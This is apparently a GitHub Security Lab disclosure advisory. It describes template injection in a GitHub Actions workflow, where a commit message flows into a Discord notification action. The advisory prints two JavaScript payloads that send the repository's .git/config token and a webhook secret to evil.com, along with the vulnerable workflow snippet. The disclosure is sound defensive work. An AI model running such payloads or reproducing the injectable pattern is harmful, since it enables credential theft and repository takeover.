Coordinated Disclosure Timeline

Summary

The ‘develop.yml’ GitHub workflow is vulnerable to template injection.

Product

koriwi/freedeck-configurator GitHub repository

Tested Version

The latest changeset to the date 9bcff8a.

Details

Issue: A commit comment is used to format a Discord message

on:
  push:
...
        uses: Ilshidur/action-discord@0.0.2
        env:
          DISCORD_WEBHOOK: ${{ secrets.WEBHOOK_URL }}
        with:
          args: "A new develop version has been deployed! What's new? **${{ github.event.head_commit.message }}** https://fddev.gosewis.ch"
...

The ${{ github.event.head_commit.message }}, used here, allows for injection of arbitrary markdown into the Discord message.

An attacker may create a specially crafted commit description and make a valid pull request, that will be merged. It is likely that the reviewer will not notice it, especially if there are multiple commits in the single PR.

Impact

Current impact is almost negligible, but the vulnerability may potentially become much more serious if the workflow is updated to use a newer version of the action. Since v0.3.0 the Discord action supports interpolation syntax for environment arguments. There are examples of indented usage in a documentation like The project {{ EVENT_PAYLOAD.repository.full_name }} has been deployed. The interpolation is implemented in a way that the expressions may be interpreted as javascript:

const _ = require('lodash');
...
const message = _.template(args)({ ...process.env, EVENT_PAYLOAD: JSON.parse(eventContent) });

This vulnerability allows for arbitrary code execution in the context of a GitHub runner. Since a checkout action is used without persist-credentials set to false an attacker could get a write access to the repository with the payload below:

{{ process.mainModule.require('http').get('http://evil.com?t='+process.mainModule.require('fs').readFileSync('./.git/config').toString('base64')) }}

The following payload would exfiltrate the secret DISCORD_WEBHOOK to the attacker controlled server. This would give the attacker full control over Discord message hook.

{{ process.mainModule.require('http').get('http://evil.com?t=${WEBHOOK_URL}') }}

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-324 in any communication regarding this issue.